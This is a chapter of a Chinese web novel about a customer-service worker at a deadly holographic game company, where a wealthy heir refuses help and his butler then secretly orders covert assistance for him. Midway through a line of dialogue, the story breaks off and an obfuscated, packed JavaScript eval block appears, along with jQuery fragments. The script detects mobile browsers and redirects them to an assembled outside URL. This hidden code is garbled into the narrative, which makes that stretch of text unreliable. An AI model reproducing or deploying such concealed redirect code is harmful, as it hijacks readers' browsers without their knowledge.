当代社会，因为一些众所周知的原因，人类的生活范围日益狭窄，环境也更为逼仄。当对宽广世界的需求无法在现实中得到缓解时，游戏变成了一种意料之外的解决方案。越来越多的技术人才进入游戏领域，为饱受束缚的都市居民提供逃离现实的途径。
正是在这样的背景下，赫克特·杨推出了他的第一款全息游戏作品《中枢城》。应用最新的技术，这款游戏可以把玩家带入到细节极度逼真的幻想世界。这一作品的成功可以说是空前绝后的。《中枢城》的传播度如此之高，以至于全息设备一度成为类比黄金的硬通货。游戏中使用的计时方式“中枢时间”成为一种通行的计时单位。人们提起“去中枢城逛一逛”，仿佛这是一个真实存在的辖区。
然而，《中枢城》毕竟是一款线上多人游戏。相对固定的世界观和需要共享的游玩模式逐渐无法满足部分玩家的需要。针对性更强、资源投入也更为奢靡的“万界”系列应运而生。
在“万界”中，玩家可以定制属于自己的游戏。他们可以指定时代背景、故事剧情、关键人物、甚至结局走向，从而在完美的虚拟世界中，享受前所未有的创造自由和游戏体验——理论上确实如此。
作为一个骨灰级游戏爱好者，“万界”的开发者杨并不赞同“绝对自由”的理念。在他看来，令人随心所欲的幻想仅仅是一场美梦，算不上一款游戏。一个成功的游戏作品必须给玩家创造具有挑战性和紧张感的体验，而在一切元素都能高度定制的框架中，杨决定只有一样东西能为所有玩家带来平等的挑战——死亡。
“万界”是一款不支持存档的大型全息游戏。在精心构筑的专属世界之中，玩家操纵的角色一旦死亡，只能更换角色、或在有区别的时间线上再次开始，无法从头再来。这当然引来了无数抱怨。许多批评者声称该设计违反了基本的游戏原理，针对这一特点开发的竞品也层出不穷。然而，或许是公司的技术硬件遥遥领先，又或许杨的这一理论确实有独到之处。创立五十年至今，“万界”仍然屹立不倒，在定制游戏市场占据垄断式的地位。
“人死不能复生”的原则听起来直白而残酷，然而实践中，并没有那么多玩家真正遇到挑战。毕竟，在一个量身定制的游戏世界。如果一个人不想死，方法有的是。在极速飞车赛道，你可以给车辆配备最先进的安全系统；在甜蜜的恋爱之城，你可以规定这里的犯罪率低到不存在；而如果你想要进入一个体验极为真实、死伤难以避免的冷兵器战场，但希望后台有人偷偷给出提示，告诉你做什么会有风险，那也没问题——事实上，林一七供职的整个客服部门，几乎都是在这个基础上产生的。
客服部根据玩家的需求，提供个性化的服务。其中，远程团队根据游玩状况提供分析数据，帮助玩家优化策略。而地面团队会创立角色，亲身进入游戏，提供实时的支持和引导。他们共同目的都是帮助玩家规避风险，最大程度地体验游戏乐趣。刚入职时林一七曾暗自思忖，这好像是一种和创始人“对着干”的行为。不过随着工作年限增长，她也有所领悟：或许“有原则的游戏设计师”只是一种营销理念。就像“金色斑点的天竺葵”或“全服只有十把的蝴蝶刀”一样，意在强调稀缺性。在这个格外昂贵的游乐场，通关“杨的游戏”成为了一枚特殊勋章，吸引各式各样的玩家慕名而来。有些人甚至并非游戏爱好者。他们来此专为无法反悔的战斗，证明自己是不惧挑战的强者——比如说，眼前这一位。
“我还是不明白。”他说，“为什么我会需要一个客服？”
***
此人正是林一七负责接待的新客户。大概二十岁出头的年轻人，穿着休闲西装，脚踩一双看起来就很昂贵的运动鞋。他的五官十分立体，有一副大迁徙之前北方种族的长相：身材高大，浅金色头发，灰色眼睛。挽起的衬衫袖子下，手臂肌肉线条清晰可见，或许在某项运动中颇有造诣。
尽管相貌不凡，他脸上却带着一副生人勿近的神色，似乎对周围的环境十分不屑。林一七不由揣测，这是西北辖区某个家族精心培养的继承人，上学前就修习十门课程。他在生活中可能从未打过传统电子游戏，中学时代也对同龄人热衷的“中枢城”团建嗤之以鼻。然而此刻，为了对某个女孩儿证明自己的男子气概，或单纯为了在个人主页上增加一个像素风的时尚徽章，中了赫克特·杨高瞻远瞩的营销陷阱，非要来打这么一把。
他身后站着一位西装革履的白发老人，彬彬有礼地补充说：“拉尔斯少爷的意思是，不必为他提供任何降低游戏难度的操作。他希望用自己的能力通关这个游戏。”
贵宾室里陪坐的是几个前期部门代表：创意部的一名编剧，手里抓着电子笔，此刻不知听到了什么关键字，正在笔记本上奋笔疾书。技术部的一名工程师，穿着留有咖啡渍的套头衫，看起来神游天外。行政兼市场部的门面海伦娜女士，这回身着一套商务式的白西装，倚坐在沙发上，脸上完全是程式化的公关表情。林一七深感指望不上队友，只好奋起为自己的部门辩护。
“您可能对‘万界’的运行方式有所误解，先生。客服并不是通常所说的‘外挂’。由于‘万界’的真实程度过高，在许多种类的故事场景中，玩家完全可能因为与游戏策略无关的原因——比方说，走路不慎摔下悬崖——死亡，从而失去辛苦积攒的进度。客服不会干涉玩家的决策，只会保证游戏顺利进行，您可以把我们看作是‘万界’自带的防护系统。”
“听起来我理解的没错。”“拉尔斯少爷”简单地回答说，“这就是外挂。”
林一七噎了一下。后面管家模样的老先生善解人意地圆场道：“我相信少爷的顾虑是，如果有一个角色始终跟随在他的身边，提醒他可能遇到的种种危险，这不仅会降低他的游玩兴趣，还有碍观瞻吧？”
林一七没有明白“有碍观瞻”的部分，但她努力回答了问题。
“客服会用合乎故事逻辑的方式出场，最大可能减少违和感。举例而言，如果拉尔斯先生成为游戏中的王子，那客服可以是他的其中一位骑士，如果拉尔斯先生不愿意接受人类陪护，客服的形态也可以是他饲养的一只会说话的猫。”
“但如果观众发现，这只神奇的猫会在遇到危险时进行提醒，是不是也很不自然呢？”
林一七恍然大悟：“你们打算直播吗？”
这下就能说通了。这局游戏无疑是某种自我能力的证明，说不定还是一个意义重大的赌局。林一七努力为客户献策：“如果拉尔斯先生希望在屏幕中显示自己是独立完成游戏，客服可以假装不认识他，但照样为他提供帮助。每个角色都有自己的故事背景，完全可以做到这一点。”
“听说你们有远程团队，”管家说，“让远程人员在遇到危险时直接提示玩家不可以吗？”
“远程的对接需要外置设备，通话时也会有反应时间，在直播过程中可能会被注意到。而且，远程提示是有限的，远不如——”
“都说了我不需要这些东西。”拉尔斯打断了他们的讨论，棱角分明的面孔上明显写着不耐烦，“不管什么形式，不要外挂。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15412824|168831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
请您重新考虑一下。”林一七诚恳地说，“这是‘万界’基于数据统计和玩家反馈选出的最佳方案。您所选择的是高危险性的传说类别游戏。独立玩家在二十四小时内死亡的概率超过百分之八十。如果您希望保证屏幕效果，那可能更加——”
她无疑说错了话。年轻人刷地站了起来。林一七吓了一跳，也跟着站起了身。编剧和程序员都如梦方醒，抬头盯着他们。
“你们公司不是号称做最难通关的游戏吗？这不就是你们的卖点？”拉尔斯直接转头对海伦娜说道，“哪来这么多废话？花这么多钱，连‘不要保姆’这么简单的要求都做不到？”
海伦娜女士优雅地举起一只手，做了一个休战的姿势。她款款站起身，走到年轻人身边。林一七顺势退出几步。
“请不要责怪我们的客服人员。”海伦娜女士含笑说，“她只是职责所在，把您当成了能力有限的普通玩家。如果这是您想要的玩法，我们当然无权置喙。”
她翻过手里透明的笔记本，空气里开始用白色小字滚动显示一份长长的电子合同。
“现在在这里签字，我们马上就开始进行世界搭建。您选择的是有指定摹本的游戏，数据要求相对简单。只需要三天，您就可以进入为您准备的新世界了。”
只需要三天吗？林一七有些惊奇，但她明智地保持了沉默。拉尔斯走到电子合同前，海伦娜了然地为他滑动到相对应的文档部分。林一七看了一眼，是一份弃权声明，“地面客户服务”和“远程客户服务”两个栏目的选项上都打了叉。
大男孩审视虚空中的文档，然后他举起右手，腕表上弹出了一道白光，把现场的环境拍了进去。
“正在‘万象’总部签字。”他先把摄像头对准放大的文档，又半转回来，侧脸对着摄像头说。接着他伸手接过电子笔，在弃权声明下方签了一串长长的花体字：“狗崽子们，等着看好戏吧！”
***
不知道大少爷的开战宣言能在他的社交媒体上获得多少评论和点赞，但林一七很高兴送走了这尊大神。老实说，这说明她根本不需要工作，就能获得这项合同运行期间的基本工资，简直是意外之喜。她满意地目送大少爷的灰西装背影走出了贵宾区，一扭头，居然看见那位管家先生折了回来。他先向林一七点头示意，又向海伦娜女士躬身行礼。
“请原谅少爷的不敬，他对贵公司知之甚少。”他说道，“长话短说，我是比耶尔克家族的常务主管阿尔文。我有意为拉尔斯·卡尔·比耶尔克先生签署另一份合同并投入使用。其余安排不变，只需稍作更改客服部的条款。”
“已经签署的合同需要取消吗？”海伦娜女士波澜不惊地问。
“请不要这么做。”管家回答，“如果款项被退回，少爷会察觉的。”
海伦娜双手一摊，意思是“悉听尊便”。她在电子板上重新弹出那份表格，林一七站在一边，对有钱人家作弊的方式感到大开眼界。
“所以，”她谨慎地问道，“您想要实际运行的这份合同里，对客服部有什么特殊要求吗？”
“正是如此。”管家客客气气地对她说道，“我希望你们安排最出色的地面和远程人员，全力协助拉尔斯少爷进行游戏。在此过程中，不能让观众和他本人发现。”
编剧和程序员原本已经走到了门边，闻言都转过来盯着林一七。林一七望着老先生慈祥的面孔，准备好的应答哽在喉间，竟没能及时说出来。
我就知道。她麻木地想。自称不要外挂的客户，都是最麻烦的那批人。